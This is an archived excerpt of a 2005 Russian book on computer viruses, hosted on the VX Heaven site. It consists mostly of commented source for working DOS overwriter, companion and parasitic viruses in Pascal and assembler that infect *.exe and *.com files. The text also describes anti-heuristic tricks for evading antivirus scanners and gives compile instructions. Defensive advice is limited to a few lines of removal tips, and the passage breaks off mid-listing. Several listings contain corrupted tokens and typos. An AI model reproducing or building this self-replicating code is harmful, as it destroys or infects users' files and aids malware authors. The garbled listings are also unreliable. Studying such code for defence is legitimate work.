Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Энциклопедия по защите от вирусов

Станислав Гошко
СОЛОН-Пресс, Москва, 2005
ISBN 5-98003-196-0
2005

[Вернуться к списку] [Комментарии]

Отрывок. Главы 1-5.

С. В. Гошко 'ЭНЦИКЛОПЕДИЯ ПО ЗАЩИТЕ ОТ ВИРУСОВ' (обложка)
                         Серия "Аспекты защиты"
                              С. В. Гошко
                    ЭНЦИКЛОПЕДИЯ ПО ЗАЩИТЕ ОТ ВИРУСОВ
                        2-е издание, дополненное
                                Москва
                              СОЛОН-Пресс
                                 2005

УДК 621.38
ББК 32.844-02
    Г18
    С. В. Гошко
Г18 Энциклопедия по защите от вирусов. 2-е изд., доп. — М.: СОЛОН-Пресс.
2005. — 352 с: ил. — (Серия «Аспекты защиты»).
   ISBN 5-98003-196-0
   Данная книга относится к пособиям, которые в зарубежной литературе часто
обозначают термином «все-в-одном». Читателю предлагается шаг за шагом вслед
за автором пройти путь от понятий «компьютерный вирус» и «защита программного
обеспечения» до конкретных методик борьбы с попытками разрушения информации,
хранящейся в персональном компьютере. Материал книги четко структурирован, —
если вы уже имеете некоторые знания по данной тематике, это позволит вам
перейти к рассмотрению отдельных интересующих вопросов, не останавливаясь
на общих положениях.
   Наряду с подробным текстовым материалом, впервые приведена обширная
подборка листингов программ, с помощью которых можно самостоятельно
создавать простейшие вирусы. Это позволит читателю глубже разобраться
в природе вредоносных программ и понять, какие лазейки и бреши могут
использовать вирусы при атаках на компьютер. Процесс анализа листингов
поможет школьникам и студентам, интересующимся программированием на
языках низкого уровня в более углубленном изучении информатики. У
продвинутых пользователей интерес вызовут главы, посвященные описанию
графических и музыкальных вирусов, а также способам маскировки и
внедрения вирусов через Интернет.
   Книга написана  живым доступным языком и является универсальным пособием
как для программистов, так и для широкого круга читателей, интересующихся
вопросами защиты данных, хранящихся в персональном компьютере.
                                                                   УДК 621.38
                                                               ББК 32.844.-02
ISBN 5-98003-196-0                      © Макет и обложка «СОЛОН-Пресс», 2005
                                                          © С. В. Гошко, 2005

Введение

Данная работа — это всего лишь попытка автора объяснить принципы функционирования компьютерных вирусов и возможности борьбы с ними. В данном труде представлена эволюция компьютерных вирусов. Описание методов их разработки будет идти от простого к сложному, как и методов борьбы с ними. От читателя потребуются хотя бы минимальные знания программирования и желание учиться и познавать. Описание создания вирусов будет идти в соответствии с их эволюцией и развитием.

Первые упоминания о компьютерных вирусах появились в трудах писателей-фантастов, первый из которых Т. Дж. Райн, который в 70-х годах двадцатого века впервые упомянул эпидемию, поразившую 7000 компьютеров. А уже в конце 80-х гг. XX в. проблема компьютерных вирусов стала реальностью.

Итак, что же такое компьютерный вирус? Компьютерный вирус — это такая программа, которая ведет себя примерно также, как и живой вирус, т. е.:

  1. размножается;
  2. маскируется;
  3. выполняет вредоносные воздействия.

Но главный из этих пунктов — размножение, потому что все живые организмы стремятся к воспроизводству, так и компьютерные вирусы этим живым вирусам подражают. Первое, что можно сказать о создателях вирусов, так это то, что они в любом случае программисты, и в большинстве случаев создание вирусов это их хобби. Но еще хочется заметить, что для написания вирусов необходимы хорошее воображение и профессионализм для создания как минимум грамотного вируса.

Стадия размножения вируса называется пассивной. Во время нее вирус себя никак не проявляет. Стадия размножения может длиться от нескольких секунд до нескольких лет.

Стадию активного размножения вируса (например, с сопутствующим уничтожением данных или аппаратного обеспечения компьютера) называют атакой вируса. Но совсем не обязательно, что вирус будет что-то уничтожать или портить. Он может, например, просто вывести сообщение «привет», и это действие тоже классифицируется как вирусная атака.

Когда я только начинал заниматься компьютерными вирусами, меня интересовал вопрос, как же они все-таки устроены. Надеюсь, читателя этот вопрос тоже интересует, и эта книга — ответ на него. Может быть, этот ответ не полный, может быть, однобокий, но все же ответ.

Необходимо рассмотреть возможности классификации вирусов. Компьютерные вирусы можно классифицировать по ОС, в которых они работают:

Далее существуют возможности классификации компьютерных вирусов по типу инфицируемых файлов:

Так же вирусы можно классифицировать по методам их размножения:

Наиболее простыми вирусами являются вирусы типа OVERWRITER и COMPANION, более сложными являются вирусы типа PARASITIC.

Также вирусы могут быть усложнены технологиями используемыми в них.

Описание вирусов в книге будет идти по принципу от простого к сложному.

Итак, к делу...

DOS вирусы

Методы размножения вирусов

Глава 1. Простейшие overwriter вирусы

Рассмотрим вирусы типа overwriter, что означает «перезаписывающий». На настоящий момент такие вирусы сохранились как соревнование на самый маленький вирус, и сейчас первенство удерживает вирус размером всего в 4 байта под названием kyjack. При запуске он записывает себя на все сектора дискеты. Вот эти 4 байта: 8В DE CD 261.

На каких же языках программирования пишут вирусы, спросите вы, а я отвечу — на любых, но в основном предпочитают Ассемблер, почему — сейчас мы и разберемся.

Возьмем для примера простейший вирус на Паскале, который я написал в далеком 1999 г., также относящийся к типу overwriter.

Рассмотрим принцип его работы.

  1. Найти файл-жертву в текущем каталоге.
  2. Переписать свое тело в файл-жертву (файл-жертва при этом перезаписывается).
  3. Вывести сообщение о том, кто мы.
  4. Переходим на пункт 1, пока 250 файлов не будут заражены.

Данный вирус антивирусами не обнаруживается по причине использования компилятора фирмы Borland. По словам некоторых специалистов, это самый лучший антиэвристический прием.

Следует рассмотреть, как выглядит файл до инфицирования и после:

  1. до инфицирования:
    Программа
  2. после инфицирования:
    Вирус

Вот сам листинг:

{---------------------------------------------}
program overwriter;
uses ds;
const
        virlen=3872;                            {Длина вируса в байтах}
type
        mas=array[1..250] of string;            {Массив для хранения имен файлов
var
n,i:integer;
d:mas;
{---------------------------------------------}

procedure find(var ff:mas;var kol:integer);     {Процедура поиска файлов сразу всех}
var
dirinfo:searchrec;
begin
        findfirst('*.exe',$3F,dirinfo);         {DOS функция findfirst}
        ff[1]:=dirinfo.name;
        kol:=1;
        i:=2;
        while i<=250 do
        begin
                findnext(dirinfo);
                ff[i]:=dirinfo.name;
                if ff[i]=ff[i-1]                {Если предыдущий файл равен}
                then begin
                        ff[i]:='';              {следующему, значит, файлы кончились}
                        break;
                end;
                kol:=kol+1;
                i:=i+1;

        end;
end;
{---------------------------------------------}
procedure infect(var filename:string)
var
f,f2:text;
i:integer;
a:char;
begin
        assign(f,paramstr(O));                  {связываем одну файловую переменную с собой)
        assign(f2,filename);                    {а другую с жертвой}

        reset(f);                               {открываем себя на чтение}
        rewrite(f2);                            {а жертву на запись}
        for i:=1 to virlen do
        begin
                read(f,a);                      {побайтно копируем себя}
                write(f2,a);                    {в файл-жертву}
        end;
        close(f2);                              {закрываем}
        close(f);                               {файлы}
end;

{---------------------------------------------}
begin
        find(d,n);                              {ищем файлы}
        for i:=1 to n do
        begin
                if pos(d[i],paramstr(0))=0      {сами себя не заражаем}
                then infect(d[i]);              {заражаем найденные файлы}
        ena;
        write('[SimPl3 0w3rwrit3 ViRuS] (C)Copyright SlOn,1999'); {представляемся}
        readln;                                 {ждем нажатия кнопки и уходим}
end.
{---------------------------------------------}
 

Язык программирования Паскаль очень прост для понимания, поэтому я сейчас обьясню только смысл работы вирусной программы, не вдаваясь в описание каждой функции (они и так подробно прокомментированы).

Первое, что программа делает — запускает процедуру поиска (find()). В качестве параметров процедуре нужно передать массив строк и целочисленную переменную. Данная процедура возвращает заполненный массив строк и измененную переменную с количеством найденных файлов (их имена хранятся в строковом массиве). Затем идет безусловный цикл по количеству найденных файлов, и перед заражением каждый файл проверяется на то, чтобы его имя не совпадало с именем вирусной программы. Если совпадает, то сами себя мы не заражаем. Заражение происходит посредством вызова процедуры инфицирования (infect()), которая побайтно копирует файл-вирус в файл-жертву. В конце выводится сообщение (обычно название вируса и имя автора), и после нажатия клавиши программа завершается.

Итак, в результате мы получили программу почти в 4 Кб2, и почти на 2 страницы исходного текста.

Теперь посмотрим на аналогичный вирус, выполненный на Ассемблере. Смысл и методика его работы те же.

Следует рассмотреть, как выглядит файл до инфицирования и после:

  1. а) до инфицирования:
    Программа
  2. после инфицирования:
    Вирус+Программа (уже в нерабочем согстоянии)

Вот листинг:

cseg segment
        assume cs:cseg,ds:cseg
        org 100h
start:
        mov     ah, 09h         ;
        lea     dx, msg         ; Итак, представимся
        int     21h             ;
       
        mov     ah, 4eh         ; DOS-функция "найти первый файл"
find:
        db      068h            ; это антиэвристический
        dw      OFFSET @avp     ; прием,
        ret                     ; взятый мной из вирусного журнала
        pop     ax              ; Infected Voice
@avp:
        lea     dx, file1       ; маска файла для поиска
        int     21h             ; найти первый файл
infect:
        mov     ax, 3d01h       ;
        mov     dx, 09Eh        ; откроем его на запись
        int     21h             ;

        xchg    ax, bx          ; хэндл файла в bx
        mov     ah, 40h         ; будем записывать
        mov     cl, 89          ; сколько байт будем записывать [наша длина]
        mov     dx, 100h        ; с какой позиции? С начала, конечно
        int     21h             ; писать сейчас !
       
        mov     ah,3eh          ; закроем файл
        int     21h             ;
       
        mov     ah,4Fh          ; найдем новый
        int     21h             ;
        jnc     infect          ; и заразим

        int     20h             ; конец

        filel   db '*.ехе',0
        msg     db '[+ sImPl3 0w3rwRit3 cHUm4 2.0 +] by s10n$'
cseg ends
end start
 

Язык Ассемблера более сложен для понимания, чем Паскаль, поэтому второй вирус рассмотрим более подробно.

Начнем с первого блока инструкций:

        mov     ah, 09h         ;
        lea     dx, msg         ; Итак, представимся
        int     21h             ;
 

Данный блок инструкций выводит на экран текстовое сообщение: "[+ sImPl3 0w3rwRit3 cHUm4 2.0 +] by s10n"

Первая инструкция «mov ah,09h» говорит о том, что будет использоваться 9 функция 21 прерывания (int 21h) — вывод на экран. В верхний байт регистра, ах помешается значение 9. Вторая инструкция «lеа dx,msg» говорит о том, какое сообщение выводим (в конце символьной строки должен присутствовать — символ конца строки). В регистр dx помещается смещение символьной строки msg. Третья инструкция «int 21h» непосредственно вызывает 21 прерывание.

Рассмотрим второй блок3:

find:
        db      068h            ; это антиэвристический                     !!!
        dw      OFFSET @avp     ; прием,                           !!!
        ret                     ; взятый мной из вирусного журнала  !!!
        pop     ax              ; Infected Voice                        !!!
@avp:
        lea     dx, file1       ; маска файла для поиска
        int     21h             ; найти первый файл
 

Данный блок инструкций занимается поиском файлов (антиэвристический прием, отмеченный восклицательными знаками, пока рассматривать не будем).

Первая инструкция «mov ah,4eh» — DOS-функция «найти первый файл». Вторая инструкция «lеа dx,file1» — в регистр dx помещается смещение маски поиска файлов (file1), т. е. заражать только *.ехе файлы (маска должна заканчиваться нулевым байтом). Третья инструкция «int 21h» непосредственно вызывает 21 прерывание.

Перейдем к третьему блоку:

        mov     ax, 3d01h       ;
        mov     dx, 09Eh        ; откроем его на запись
        int     21h             ;
 

Данный блок инструкций занимается открытием найденного файла (в режиме записи).

Первая инструкция «mov ax,3d01h» — DOS-функция «открыть файл в режиме записи». Вторая инструкция «mov dx,09eh» — какой файл открываем? Найденный. Третья инструкция «int 21h» непосредственно вызывает 21 прерывание.

Рассмотрим четвертый блок:

        xchg    ax, bx          ; хэндл файла в bx
        mov     ah, 40h         ; будем записывать
        mov     cl, 89          ; сколько байт будем записывать [наша длина]

        mov     dx, 100h        ; с какой позиции? С начала, конечно
        int     21h             ; писать сейчас !
 

Данный блок инструкций непосредственно переписывает вирус в файл-жертву.

Первая инструкция «xchg ах,bх» — после открытия файла хэндл файла остался в регистре ах, для того чтобы записывать в этот файл, нужно хэндл перенести в bx (операция «xchg ax,bx» обменивает содержимое регистров ах и bх). Вторая инструкция «mov ah,40h» — DOS-функция записывать в файл. Третья инструкция «mov cl,89» — сколько байт будем записывать (длина вируса 89 байт). Четвертая инструкция «mov dx,100h» говорит о том, что будем переписывать с начала вируса (вирус начинается со 100h). Пятая инструкция «int 21h» непосредственно вызывает 21 прерывание.

Теперь пятый блок:

        mov     ah,3eh          ; закроем файл
        int     21h             ;
 

Данный блок закрывает файл после записи.

Первая инструкция «mov ah,3eh» — DOS-функция «закрыть файл». Вторая инструкция «int 21h» непосредственно вызывает 21 прерывание.

Перейдем к шестому:

mov ah,4Fh ; найдем новый int 21h ; jnc infect ; и заразим

Данный блок занимается поиском нового файла.

Первая инструкция «mov ah,4fh» — DOS-функция «найти следующий файл». Вторая инструкция «int 21h» непосредственно вызывает 21 прерывание. Третья инструкция «jnc infect» — это проверка: если файл найден, перейти к его заражению, на метку infect.

И последний, седьмой блок:

int     20h             ; конец

Первая инструкция «int 20h» завершает работу программы, возвращая управление ОС.

Данный вирус некоторыми антивирусами не обнаруживается из-за антиэвристического приема. После компоновки его объем составляет 89 байт. Неплохо по сравнению с 4 Кб? Да и исходного текста в нем поменьше. Теперь, я думаю, вам понятно, почему в основном для написания вирусов используют язык Aссемблера.

Чтобы привести эти листинги в рабочее состояние, необходимо сделать следующее:

  1. для вируса на Паскале сохранить вирус в файл с расширением *.pas, открыть листинг в оболочке Паскаля и нажать F9, после этого в той директории, где лежал листинг, появится еще и исполнимый файл;
  2. для вируса на Ассемблере сохранить в файл с расширением *.asm, затем выполнить из командной строки:
    tasm vir.asm
    tlink vir.obj /t
    

После этого появится файл vir.com, который можно переименовать в vir.exe4 или не переименовывать, а прямо так и использовать.

Борьба с вирусами данного типа очень проста: достаточно выделить по маске вирус (если он не полиморфный) и удалить файл. После инфицирования программа, которая заражена, восстановлению не подлежит, поэтому инфицированные программы просто удаляются.

Алгоритм антивируса:

  1. обнаружить инфицированную программу;
  2. удалить инфицированную программу.

Написание антивирусной программы останется на совести читателей.

Глава 2. Простейшие companion-вирусы

Итак, мы подошли к вирусам-компаньонам. Что же это такое? Давайте разберемся... Данные вирусы действуют в основном по следующему алгоритму.

  1. Находят исполнимый файл, если быть более конкретным, то *.ехе (example.exe).
  2. Копируют себя в *.com файл с аналогичным именем (example.com).
  3. Выполняют какие-то действия (форматирование винчестера, ...).
  4. Запускают программу iam.exe, если сам вирус находится в iam.com.

Смысл данных действий будет понятен тем людям, которые хорошо знают DOS. Вот если человек хочет запустить в DOS программу hello.exe, он набирает в приглашении «c:\hello», тогда DOS запускает hello.exe, если других файлов с аналогичным именем и отличным расширением нет (таких как hello.bat, hello.com). Если же есть hello.bat, то запускается он, а если hello.bat отсутствует, а есть hello.com, то выполняется он. На использовании этого факта и основан данный вирус.

Вообще этот вид вирусов, как и overwriter, себя давно изжил и сейчас практически нигде не встречается.

Существуют более сложные компаньон-вирусы, которые, к примеру, еще шифруют исполнимый файл оригинальной программы, а при запуске вируса расшифровывают и исполняют его. Это все делается для того, чтобы усложнить лечение данного вируса.

Но данные вирусы, как уже говорилось ранее, себя изжили, и потому мы остановимся на их простейшей реализации. Эти два вируса работают по алгоритму, описанному в самом начале данной части.

Следует рассмотреть, как выглядит файл до инфицирования и после:

  1. до инфицирования:
    Программа
  2. после инфицирования:
    Программа+Вирус

Теперь рассмотрим два прокомментированных листинга компаньон-вирусов. Первый — на Паскале:

{---------------------------------------------}
{$m,8192,0,0}           {Выделяем память для DOS}
program test;
uses dos,crt;           {используемые библотеки}
type
        mas=array[1..250] of string;    {Массив для имен файлов}
var
n,i;integer;
d:mas;                  {переменные}
f:file;
{---------------------------------------------}
procedure find(var ff;mas;var kol:integer);     {Процедура поиска сразу всех файлов}
var
dirinfo:searchrec;
begin
        findfirst('*.exe',$3F,dirinfo);         {DOS функция findfirst}
        ff[1]:=dirinfo.name;
        kol:=1;
        while 1<2 do
        begin
                findnext(dirinfo);              {DOS функция findnext}
                ff[i]:=dirinfo.name;
                if ff[i]=ff[i-1]                {Если предыдущий файл равен}
                then begin
                        ff[i]:='';              {следующему, значит файлы закончились}
                        break;
                end;
                kol:=kol+1;
        end;
end;

procedure copier(file1,file2:string);           {процедура копирования файлов}
var                                             {основана на использовании команды сору}
a: integer;                                     {из стандартного пакета DOS}
begin
        swapvectors;                            {Можно было бы использовать процедуру}
        exec(getenv('COMSPEC'),'/С '+'сору '+file1+' '+file2);
        swapvectors;                            {Из предыдущего вируса}
end;
{---------------------------------------------}
function pr(file2:string):string;               {Функция для}
begin
        delete(file2,length(file2)-3,4);        {Преобразование имени файла}
        file2:=file2+'.com';                    {Из *.exe в *.com}
        pr:=file2;
end;
{---------------------------------------------}
function pr2(file2:string):string;              {Функция для}
begin
        delete(file2,length(file2)-3,4);        {Преобразование имени файла}
        file2:=file2+'.exe';                    {Из *.com в *.exe}
        pr2:=file2;
end;
{---------------------------------------------}
begin
        find(d,n);                              {Ищем *.exe файлы}
        for i:=1 to n do
        begin
                copier(paramstr(0),pr(d[i]));   {создаем аналогичные *.com файлы}
                clrscr;                         {очистка экрана}
        end;
        if pos('.exe',paramstr(0))<>0           {если это первый запуск или что-то случилось}
                then halt;                      {тогда уходим}
        swapvectors;
        exec(pr2(paramstr(0)),paramstr(1));     {запускаем оригинальную программу}
        swapvectors;
       
        writeln;
        writeln('=[SimPl3 C0mP4ni0n ViRuS]= by s10n '); {И выводим сообщение}
end.
{---------------------------------------------}
 

Давайте рассмотрим алгоритм данного вируса. Первая процедура — это find(), идентичная такой же процедуре в описанном ранее вирусе. Вторая процедура — copier() — получает в качестве параметров два имени файла. Она копирует первый файл во второй DOS-командой «сору file1 file2». Процедура pr() получает в качестве параметра имя файла, к примеру vasya.exe, и преобразовывает это имя в *.com формат. Получится vasya.com. Процедура pr2() использует в качестве параметра имя файла, но преобразует в *.ехе формат.

Теперь рассмотрим основной алгоритм программы. Как и в предыдущем вирусе (имеется в виду вариант на Паскале), сначала идет поиск файлов *.exe. Затем вирус копируется в файлы с аналогичным именем, но другим расширением (*.com). Далее идет проверка. Если мы стартовали из *.ехе, то завершаем программу. Если же мы стартовали из *.com файла, то запускаем файл оригинальной программы (*.ехе) и после завершения его работы выводим сообщение (название вируса и имя автора).

Теперь опишем аналогичный вирус, но на Ассемблере, который, естественно, гораздо меньше и проще, но работает по тому же принципу. Для того чтобы он нормально работал, его необходимо собрать в *.com файл. Как это сделать было рассказано в предыдущей части.

Следует рассмотреть, как выглядит файл до инфицирования и после:

  1. до инфицирования:
    Программа
  2. после инфицирования:
    Программа+Вирус

Вот листинг:

cseg segment
        assume cs:cseg,ds:cseg,es:cseg
        org 100h
start:
;----------------------------------------------
        lea     bx, dta+30      ; Свяжем bx с именем файла

        mov     al, [bx]        ; Загрузим в al первый символ из bx
        cmp     al, '.'         ; Проверим, точка ли это?
        inc     bx              ; Переходим к следующему символу
        je      izm             ; Если да, то идем на метку изменения расширения
        jmp     pov
izm:
        mov     al,'e'          ; Положим символ 'е' в al
        mov     [bx],al         ; Положим в DTA символ из al
        inc     bx              ; Перейдем к следующему символу
        mov     al,'x'          ; Положим символ 'х' в al
        mov     [bx],al         ; Положим в DTA символ из al
        inc     bx              ; Перейдем к следующему символу
        mov     al,'e'          ; Положим символ 'е' в al

        mov     [bx],al         ; Положим в DTA символ из al
                                ; Мы-то запустились из *.com файла, но изменили свое
                                ; расширение на *.exe (т. е. запустим настоящую программу)
        mov     ah,4ah          ; Выделим памяти побольше
        mov     bx,5000h        ; Для запуска оригинальной программы из нашего
        int     21h             ; двойника

        mov     ah,4bh          ;
        mov     al,00           ;
        lea     dx,dta+30       ; Запустим настоящую программу
        int     21h             ;
;----------------------------------------------
        mov     ah,1аh         ;
        lea     dx,dta          ; Указатель на новый DTA
        int     21h             ;

        mov     ah,4eh          ; Функция findfirst
        lea     dx,file1        ; Найдем первый *.ехе
        int     21h
infect:
        lea     bx,dta+30       ; Свяжем bx с именем файла
pov2:
        mov     al,[bx]         ; Загрузим в al первый символ из Ьх
        cmp     al,'.'          ; Проверим, точка ли это?
        inc     bx              ; Переходим к следующему символу
        je      izm2            ; Если да, то идем на метку изменения расширения
        jmp     pov2
izm2:
        mov     al,'c'          ; Положим символ 'с' в al
        mov     [bx],al         ; Положим в DTA символ из al
        inc     bx              ; Перейдем к следующему символу
        mov     al,'o'          ; Положим символ 'о' в al
        mov     [bx],al         ; Положим в DTA, символ из al
        inc     bx              ; Перейдем к следующему символу
        mov     al,'m'          ; Положим символ 'm' в al
        mov     [bx],al         ; Положим в DTA, символ из al
;----------------------------------------------
        mov     ah,3ch          ; Функция создания файла-двойника
        lea     dx,dta+30       ; Т. е. с идентичным именем, но отличным расширением
        xor     cx,cx           ; Если был найден hi.exe, то создадим hi.com
        int     21h             ;

        mov     ax,3d02h        ; Откроем только что созданный файл
        lea     dx,dta+30       ; Для чтения/записи
        int     21h             ;

        xchg    ax,bx           ; Положим в bx хэндл файла
        mov     ah,40h          ; Функция записи в файл

        int     1h              ; Антиэвристика - антивирусы нас не найдут

        mov     cl,len          ; Перепишем весь наш вирус с самого начала
        mov     dx,100h         ; И до конца в файл-двойник
        int     21h             ;

        mov     ah,4Fh          ; Функция findnext

        int     21h             ;
       
        jnc     infect          ; Если еще что-то есть, то заражаем

        mov     ah,09h          ; Выведем сообщение
        lea     dx,msg          ; О том, кто мы есть
        int     21h             ;
       
        int     20h             ; Конец программы

        msg     db 0ah, 0dh, "-[SiMpL3 C0mp4ni0n ViRuS] by s10n$"
        file1   db '*.exe',0
        dta     db 43 dup(?)
len     equ     $-start
cseg ends
end start
 

Рассмотрим более подробно предыдущий вирус.

Начнем, естественно, с первого блока инструкций:

        lea     bx, dta+30      ; Свяжем bx с именем файла

        mov     al, [bx]        ; Загрузим в al первый символ из bx
        cmp     al, '.'         ; Проверим, точка ли это?
        inc     bx              ; Переходим к следующему символу
        je      izm             ; Если да, то идем на метку изменения расширения
        jmp     pov
 

В данном блоке идет поиск начала расширения файла.

Первая инструкция «lеа bx,dta+30» кладет в регистр bx смещение на имя файла. Вторая инструкция «mov al,[bx]» кладет нижний байт регистра ах первый символ из имени файла. Третья инструкция «cmp al,'.'» проверяет, не точка ли это т. е. дошли ли мы до расширения в имени файла. Четвертая инструкция «inc bx» — переходим к следующему символу в имени файла. Пятая инструкция «je izm» — если точка, то переходим на метку изменения расширения файла. Шестая инструкция «jmp pov» — если точка в имени файла не найдена, продолжаем поиск.

Второй блок:

izm:
        mov     al,'e'          ; Положим символ 'е' в al
        mov     [bx],al         ; Положим в DTA символ из al
        inc     bx              ; Перейдем к следующему символу
        mov     al,'x'          ; Положим символ 'х' в al
        mov     [bx],al         ; Положим в DTA символ из al
        inc     bx              ; Перейдем к следующему символу
        mov     al,'e'          ; Положим символ 'е' в al
        mov     [bx],al         ; Положим в DTA символ из al
                                ; Мы-то запустились из *.com файла, но изменили свое
                                ; расширение на *.exe (т. е. запустим настоящую программу)
 

В данном блоке расширение файла меняется на *.ехе.

Все инструкции данного блока были рассмотрены в предыдущем, поэтому подробное комментирование излишне.

Перейдем к третьему блоку:

        mov     ah,4ah          ; Выделим памяти побольше
        mov     bx,5000h        ; Для запуска оригинальной программы из нашего
        int     21h             ; двойника
 

В данном блоке выделяется память для запуска оригинальной программы (не двойника).

Первая инструкция «mov ah,4ah» — это DOS-функция изменения размера блока памяти. Вторая инструкция «mov bx,5000h» — в регистр bx ложится новый размер блока памяти. Третья инструкция очевидна.

Теперь четвертый блок:

        mov     ah,4bh          ;
        mov     al,00           ;
        lea     dx,dta+30       ; Запустим настоящую программу
        int     21h             ;
 

В данном блоке запускается оригинальная программа. Если же мы стартуем первый раз и не из файла-двойника, то блок с данными о файле (dta) будет пуст, и ничего не запустится.

Первая инструкция «mov ah,4bh» — это DOS-функция запуска программы. Вторая инструкция «mov al,00» — это тип загрузки (в данном случае загрузить и выполнить) Третья инструкция «lеа dx,dta+30» — в dx загружается имя выполняемого файла. Четвертая инструкция «int 21h» — вызов 21 прерывания.

Переходим к пятому блоку:

        mov     ah,1аh         ;
        lea     dx,dta          ; Указатель на новый DTA
        int     21h             ;
 

Данный блок вызывает DOS-функцию 1ah для установки адреса DTA (disk transfer area). Все данные о найденных файлах теперь будут храниться в переменной dta.

Шестой блок:

        mov     ah,4eh          ; Функция findfirst
        lea     dx,file1        ; Найдем первый *.ехе
        int     21h
infect:
        lea     bx,dta+30       ; Свяжем bx с именем файла
pov2:
        mov     al,[bx]         ; Загрузим в al первый символ из Ьх

        cmp     al,'.'          ; Проверим, точка ли это?
        inc     bx              ; Переходим к следующему символу
        je      izm2            ; Если да, то идем на метку изменения расширения
        jmp     pov2
izm2:
        mov     al,'c'          ; Положим символ 'с' в al
        mov     [bx],al         ; Положим в DTA символ из al
        inc     bx              ; Перейдем к следующему символу
        mov     al,'o'          ; Положим символ 'о' в al
        mov     [bx],al         ; Положим в DTA, символ из al
        inc     bx              ; Перейдем к следующему символу
        mov     al,'m'          ; Положим символ 'm' в al
        mov     [bx],al         ; Положим в DTA, символ из al
 

В данном блоке производится поиск файла с расширением *.ехе (его имя хранится в переменной dta по смещению 30), затем его расширение заменяется на *.com (опять же не самого файла, а его имени в переменной dta).

Добрались до седьмого блока:

        mov     ah,3ch          ; Функция создания файла-двойника
        lea     dx,dta+30       ; Т. е. с идентичным именем, но отличным расширением
        xor     cx,cx           ; Если был найден hi.exe, то создадим hi.com
        int     21h             ;
 

В данном блоке создается *.com файл-двойник, в качестве пояснения комментария к коду.

Ну, и последний, восьмой блок:

        mov     ax,3d02h        ; Откроем только что созданный файл
        lea     dx,dta+30       ; Для чтения/записи
        int     21h             ;

        xchg    ax,bx           ; Положим в bx хэндл файла
        mov     ah,40h          ; Функция записи в файл

        int     1h              ; Антиэвристика - антивирусы нас не найдут

        mov     cl,len          ; Перепишем весь наш вирус с самого начала
        mov     dx,100h         ; И до конца в файл-двойник
        int     21h             ;

        mov     ah,4Fh          ; Функция findnext
        int     21h             ;
       
        jnc     infect          ; Если еще что-то есть, то заражаем

        mov     ah,09h          ; Выведем сообщение
        lea     dx,msg          ; О том, кто мы есть
        int     21h             ;
       
        int     20h             ; Конец программы
 

Данный блок занимается непосредственным переносом тела вируса в только что созданный файл-двойник, также он продолжает искать жертвы и заражать их. В конце выводится сообщение с названием вируса, и завершается работа вирусной программы. Все инструкции в данном блоке были подробно рассмотрены в описании вируса overwriter, и комментировать их второй раз я не вижу смысла.

Борьба с вирусами данного типа довольна примитивна. Необходимо всего лишь удалить файл-двойник с расширением «*.com».

Глава 3. Простейшие parasitic-вирусы

Вот мы и добрались до одной из самых интересных частей этого повествования. В ней пойдет речь о самых распространенных на сегодняшний день вирусах. Принцип действия таков, что они изменяют сам файл-жертву таким образом, что он не теряет своей функциональности, то есть паразитируют на нем. Алгоритм всех вирусов-паразитов примерно следующий.

  1. При запуске зараженной программы вирус получает управление, выполняет свои функции по размножению (возможно, деструктивные).
  2. Возвращает управление программе-носителю паразита, и она выполняется, как и должна.

Следует заметить, что вирус обычно работает достаточно быстро, и пользователь не успевает заметить какой-то разницы при работе с зараженной и незараженной программы.

Реализация на Паскале более или менее полноценного паразита довольно неприятна. Для примера я приваду листинг *.com паразита, который работает по следующему алгоритму:

  1. находит все жертвы в текущем каталоге;
  2. если найден файл vasya.com, то в строковую переменную положит преобразованное имя файла vasya.tmp;
  3. проверяет, заражен или нет файл vasya.com. Если да, то переходит к следующему файлу; если нет, то на шаг 4;
  4. записывает vasya.com в vasya.tmp5;
  5. записывает тело вируса в vasya.com;
  6. дописывает в vasya.com из файла vasya.tmp;
  7. удаляет vasya.tmp;
  8. проверяет длину файла, и если файл, из которого мы запустились, больше длины вируса, то переписывает все, что находится после тела вируса, в файл 31337.com;
  9. запускает его, и после того как он отработает, удаляет его же;
  10. выводит сообщение;
  11. заканчивает работу.

Следует рассмотреть, как выглядит файл до инфицирования и после:

  1. до инфицирования:
    Программа
  2. после инфицирования:
    Вирус->Программа

А вот и листинг, как всегда, прокомментированный, но для чистоты совести следует сказать, что вирус идентифицируется AVP как «код подозрительный для вируса HLL_type».

{---------------------------------------------}
{$m, 8126, 0, 0}                {Выделяем память для DOS}
program parasit;
uses dos;                       {используемые библотеки}
type
        mas=array[1..200] of string;    {Массив для имен файлов}
var
d:mas;
n,i:integer;
st:string;
virlen,fsize:longint;           {переменные}
f:file of char;
exehead:char;
{---------------------------------------------}
procedure find(var ff:mas;var kol:integer);     {Процедура поиска файлов сразу всех}
var
dirinfo:searchrec;
begin
        findfirst('*.com',$3F,dirinfo);         {DOS-функция findfirst}
        ff[1]:=dirinfo.name;
        kol:=1;
        i:=2;
        while 1<2 do
        begin
                findnext(dirinfo);              {DOS-функция findnext}
                ff[i]:=dirinfo.name;
                if ff[i]=ff[i-1]               
                then begin
                        ff[i]:='';              {Если предыдущий файл равен}
                        break;                  {следующему, значит файлы закончились
                end;
                kol:=kol+1;
                i:=i+1;
        end;
end;

{---------------------------------------------}

procedure infect(s1:string;s2:string;append1;boolean;sz:longint);
var                                             {процедура копирования файлов}
f,f2:text;
j:integer;
a:char;
begin
        assign(f,s1);           {связываем одну файловую переменную с файлом, откуда копируем}
        assign(f2,s2);          {а другую - с файлом, куда копируем}
        reset(f);
        if append1              {дописываем или нет?}
                then    append(f2)
                else    rewrite(f2);
        for j:=1 to sz do
        begin
                read(f,a);      {Читаем один символ из файла-источника}
                write(f2,a);    {Пишем один символ в-файл-приемник}
        end;
        close(f);               {Закрываем}
        close(f2);              {оба файла}
end;
{---------------------------------------------}
proceaure restore;              {Процедура восстановления оригинальной программы}
var
d,d2:file of char;
sd:string;
ch;char;
j1:integer;
begin
        sd:='31337.com';        {Из этого файла запустим оригинальную программу}
        assign(d,paramstr(0));
        reset(d);               {Откроем себя на чтение}
        assign(d2,sd);
        seek(d,virlen);
        rewrite(d2);
        for j1:=1 to filesize(d)-virlen do
        begin
                read(d,ch);     {И перепишем оригинальную программу, которая находится после}
                write(d2,ch);   {тела вируса, в файл 31337.com}
        end;
        close(d);               {закроем оба файла}
        close(d2);
        swapvectors;
        exec(sd,paramstr(1));   {запустим оригинальную программу, которая сейчас}
        swapvectors;            {в файле 31337.com}
        erase(d2);              {удалим файл 31337.com}
end;
{---------------------------------------------}
begin
        virlen:=6000;           {длина вируса}
        find(d,n);              {найдем все *.com файлы}
        for i:=1 to n do

        begin
                if d[i]='' then break;  {если таковых нет, то на выход}
